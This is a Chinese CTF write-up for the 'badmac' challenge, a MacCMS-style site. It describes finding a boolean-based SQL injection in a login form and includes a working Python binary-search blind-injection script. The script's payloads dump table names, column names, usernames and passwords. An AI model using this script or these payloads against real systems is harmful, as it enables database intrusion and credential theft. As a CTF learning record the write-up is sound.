badmac(1)-python脚本布尔注入

400 阅读3分钟

CTF新生赛0解题badmac。只学了2天sql注入的某菜鸡尝试复现

一、寻找注入点

在网站的各个角落都冲了冲浪(因为出题人太皮,一不小心陷进去了2333),有搜索框的地方都用burp suite+sql字典的地方爆了爆,发现只有登陆页面有东西

image.png 观察burp suite中intruder的length,发现带有单引号的和不带有单引号的语句length长度不一样。初步判定需要闭合引号的字符型注入。

后端sql语句大概为

select * from xxx where username = '"$GET['username']"'

账号输入a' or '1'='1回显“用户登录失败”

输入a' or '1'='2回显“获取用户信息失败”

说明可以布尔注入,表达式格式为

a' or [bool] or '1'='2

[bool]里面塞我们想要判断的东西就好了。

二、使用python脚本布尔注入

网上随便找了份二分法布尔注入的脚本,稍微改了下(url做了处理)。先摆代码,再说历程

#from time import sleep
import requests
url = 'http://一段ip地址/maccms/index.php/user/login.html'
flag_false = '获取用户信息失败'
flag_true='用户登录失败'
result = ''

for i in range(0,10):
    #sleep(1)
    high = 127
    low = 32
    mid = (high + low) // 2
    while high > low:
        #表名
        #payload="a' or (ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{index},1))>{char}) or '2'='1".format(index=i, char=mid)
        #列名
        #payload="a' or (ascii(mid((select group_concat(column_name) from information_schema.columns where table_name='tsctfj_user'),{index},1))>{char}) or '2'='1".format(index=i, char=mid)

        #查数据(可能是版本问题,不能这样搞)
        #payload = "a' or (ascii(mid((select concat(user_name,',',user_psw) from tsctfj_user),{index},1))>{char}) or '2'='1".format(index=i, char=mid)
        #查帐号
        #payload = "a' or (ascii(mid((select user_name from tsctfj_user limit 0,1),{index},1))>{char}) or '2'='1".format(index=i, char=mid)
        #查密码
        #payload = "a' or (ascii(mid((select user_pwd from tsctfj_user limit 0,1),{index},1))>{char}) or '2'='1".format(index=i, char=mid)
        #查tsctfj_art表列名
        #payload="a' or (ascii(mid((select group_concat(column_name) from information_schema.columns where table_name='tsctfj_art'),{index},1))>{char}) or '2'='1".format(index=i, char=mid)
        #查art_name
        payload = "a' or (ascii(mid((select art_id from tsctfj_art limit 1,1),{index},1))>{char}) or '2'='1".format(index=i, char=mid)
        data = {'user_name': payload,'user_pwd':'123'}
        response = requests.post(url=url, data=data)
        if flag_true in response.text:
            low = mid + 1
        else:
            high = mid
        mid = (high + low) // 2
    print(i)
    result += chr(mid)
    print(result)
print(result)

历程如下:

1.查表名,结果如下 tsctfj_actor,tsctfj_admin,tsctfj_annex,tsctfj_art,tsctfj_card,tsctfj_cash,tsctfj_cj_content,tsctfj_cj_history,tsctfj_cj_node,tsctfj_collect,tsctfj_comment,tsctfj_gbook,tsctfj_group,tsctfj_link,tsctfj_msg,tsctfj_order,tsctfj_plog,tsctfj_role,tsctfj_topic,tsctfj_type,tsctfj_ulog,tsctfj_user,tsctfj_visit,tsctfj_vod,tsctfj_website

通过偷窥群聊消息社会工程学猜到账号应该放在tsctfj_user里边

2.查列名,显然user_name,user_pwd两个字段非常关键

3.查账号密码,没啥好说的

重点!!记录几个坑

1'.request.post的时候不要设置timeout,否则连接失败就会报错,然后程序就会直接终止

2'.要用ascii码比大小。如果直接写成'f'>'a'形式会有奇葩错误。比如爆出的列名长这样

usErAID,GrOupAID,usErANAME,usErApwD,usErANICKANAME,usErAqq,usErAEMAIL,usErApHONE,usErAstAtus,usErApOrtrAIt,usErApOrtrAItAtHuMB,usErAOpENIDAqq,usErAOpENIDAwEIxIN,usErAquEstION,usErAANswEr,usErApOINts,usErApOINtsAFrOzE,usErArEGAtIME,usErArEGAIp,usErALOGINAtIME,usErALOGINAIp,usErALAstALOGINAtIME,usErALAstALOGINAIp,usErALOGINANuM,usErAExtEND,usErArANDOM,usErAENDAtIME,usErApID,usErApIDA2,usErApIDA3

3'

照《从0到1》书上写的,用concat把列名连起来貌似不行,估计是版本原因吧

payload = "a' or (ascii(mid((select concat(user_name,',',user_psw) from tsctfj_user),{index},1))>{char}) or '2'='1".format(index=i, char=mid)

4.用查到的账号登陆后,发现有个头像上传可以用,但是会显示功能未解锁。看到了充值界面,但是输入框爆不出注入点。然后直接没思路,开始摆。。。。直到看到了群里dalao的wp:fohunbrella.github.io/2021/11/02/…

大概是点进某个资讯后会弹出积分不够的alert

image.png

所以想到在登陆界面堆叠注入改文章需要的积分点数。为什么想到用堆叠注入呢?因为有wp提示(笑

所以,下一步就是找到这个文章的表,过程同上,且写在注释里了,不做过多赘述。提一嘴,通过改limit发现数据库里边只有一篇文章。btw:猜表名真的好玄学啊

至此,本题布尔注入部分结束。